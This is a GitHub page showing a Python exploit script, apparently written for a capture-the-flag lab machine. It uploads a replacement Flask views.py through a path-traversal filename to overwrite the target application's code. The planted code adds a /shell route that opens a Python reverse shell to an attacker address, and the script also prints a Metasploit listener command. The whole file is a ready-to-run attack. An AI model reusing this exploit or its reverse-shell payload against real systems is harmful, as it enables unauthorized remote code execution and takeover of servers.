AutoExploits/OpenSource.py at main · josemlwdf/AutoExploits · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import requests

LHOST='10.10.16.9'
LPORT='4444'

RHOST= '10.10.11.164'
RPORT='80'

file = """import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/')
def index():
    return render_template('index.html')

@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = "/app/public/uploads/" + file_name
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

@app.route('/shell')
def shell():
    import socket,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('""" + LHOST + """',""" + LPORT +"""))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    import pty
    pty.spawn("sh")

@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
"""

def send_request():
    custom_headers = {
        'Host': '10.10.11.164',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Origin': 'http://10.10.11.164/upcloud',
        'Referer': 'http://10.10.11.164/',
        'Upgrade-Insecure-Requests': '1',
        'Content-Type': 'text/x-python'
    }

    host_url = 'http://' + RHOST
    upload = '/upcloud'
    shell = '/shell'

    open('views.py', 'wt').write(file)

    related = MIMEMultipart('form-data', '*****')  # second argument is the boundary.

    from email import encoders
    file_part = MIMEApplication(open('views.py', 'rt').read(), _encoder=encoders.encode_noop)

    headers = dict(related.items())

    custom_headers.update(headers)

    headers = custom_headers

    file_part.add_header('Content-disposition', 'form-data; name="file"; filename="/app/app/views.py"')
    related.attach(file_part)

    body = related.as_string().split('\n\n', 1)[1]

    try :
        uri = ''
        uri = input('Enter URI ( Default:"' + upload + '" ): ').lower()
        if (uri != ''):
            upload = uri
        requests.post(host_url + upload, data=body, headers=headers)
        requests.get(host_url + shell)
        print('\nExploit Successful')
        print("\nPlease, start your listener: msfconsole -q -x 'use multi/handler; set payload python/shell_reverse_tcp; set lhost 10.10.16.9; set lport {}; run'".format(LPORT))
        print("\nFire exploit: http://{}/shell".format(RHOST))
    except Exception as e:
        print(e)
        print('\nExploit Failed')

def main():
    send_request()

main()